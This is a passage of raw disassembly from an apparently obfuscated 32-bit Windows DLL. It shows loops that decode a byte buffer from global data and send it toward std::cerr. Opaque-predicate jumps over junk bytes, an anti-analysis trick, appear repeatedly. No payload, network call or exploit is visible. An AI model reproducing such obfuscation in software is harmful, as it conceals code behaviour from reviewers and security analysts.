cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7a66
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f7a66
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f7adb
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7ade
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
add eax, 0xffffff80
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f7aef
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7b75
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f7b75
mov dword [ebp - 0x7c], 3
jmp 0x100f7be1
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7be1
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x7c]
add dl, dl
mov cl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x78]
mov byte [ebp + eax - 0x1c7], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f7e6f
xor eax, eax
je 0x100f7c37
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7cca
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f7cca
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f7d3f
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7d42
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f7d47
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7dcf
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f7dcf
mov dword [ebp - 0xa0], 3
jmp 0x100f7e3e
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f7e3e
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0xa0]
add dl, dl
mov cl, byte [ebp + eax - 0x1c7]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0xb4]
mov edx, dword [ebp - 0x5c]
mov byte [ebp + eax - 0x1c7], cl
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x22
jb 0x100f7260
mov edi, dword [ebp - 0xb8]
lea eax, [ebp - 0x1c7]
mov byte [ebp - 0x1c8], 1
push eax
push dword [ebp - 0xbc]
jmp 0x100f8bf4
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
movups xmm0, xmmword [0x101447f8]
mov dword [ebp - 0xbc], eax
mov eax, dword [0x10144810]
mov dword [ebp - 0x16c], eax
mov ax, word [0x10144814]
movups xmmword [ebp - 0x184], xmm0
mov word [ebp - 0x168], ax
movq xmm0, qword [0x10144808]
mov al, byte [0x10144816]
movq qword [ebp - 0x174], xmm0
mov byte [ebp - 0x166], al
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x1e
jae 0x100f8be0
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsd xmm0, qword [0x101448c0]
movsx eax, al
mov dword [ebp - 0x60], eax
movsd qword [ebp - 0x74], xmm0
lea eax, [eax + esi*8]
mov dword [ebp - 0xc8], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
nop dword [eax]
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f81ce
xor eax, eax
je 0x100f7f87
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f801e
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f801e
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f8097
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f809a
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f809f
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f812a
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f812a
mov dword [ebp - 0x94], 3
jmp 0x100f81a0
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f81a0
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x94]
add dl, dl
mov cl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x90]
mov byte [ebp + eax - 0x183], cl
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xc8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f895b
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f8461
xor eax, eax
je 0x100f8218
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f82ae
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f82ae
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f832a
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f832d
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f8332
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xe4]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f83bd
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f83bd
mov dword [ebp - 0x8c], 3
jmp 0x100f8433
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8433
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x8c]
add dl, dl
mov cl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x88]
mov byte [ebp + eax - 0x183], cl
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f86c5
xor eax, eax
je 0x100f8486
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8516
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f8516
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x80], 3
add eax, edi
jmp 0x100f858f
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8592
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f8597
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xdc]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f864d
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f864d
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x84]
add dl, dl
mov cl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x80]
mov byte [ebp + eax - 0x183], cl
jmp 0x100f86d0
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f861a
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f861d
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8955
mov eax, dword [ebp - 0x48]
sub eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f8712
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f87a1
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f87a1
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f881d
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8820
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
sub eax, 0x7f
mov dword [ebp - 0xa4], eax
xor eax, eax
je 0x100f8831
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xa4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f88ba
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f88ba
mov dword [ebp - 0x7c], 3
jmp 0x100f892d
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f892d
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
and dl, byte [ebp - 0x7c]
add dl, dl
mov cl, byte [ebp + eax - 0x183]
mov eax, dword [ebp - 0x48]
sub cl, dl
add cl, byte [ebp - 0x78]
mov byte [ebp + eax - 0x183], cl
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f8bc9
xor eax, eax
je 0x100f8983
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
pop esp
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xa4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8a16
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f8a16
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f8a92
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f8a95
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
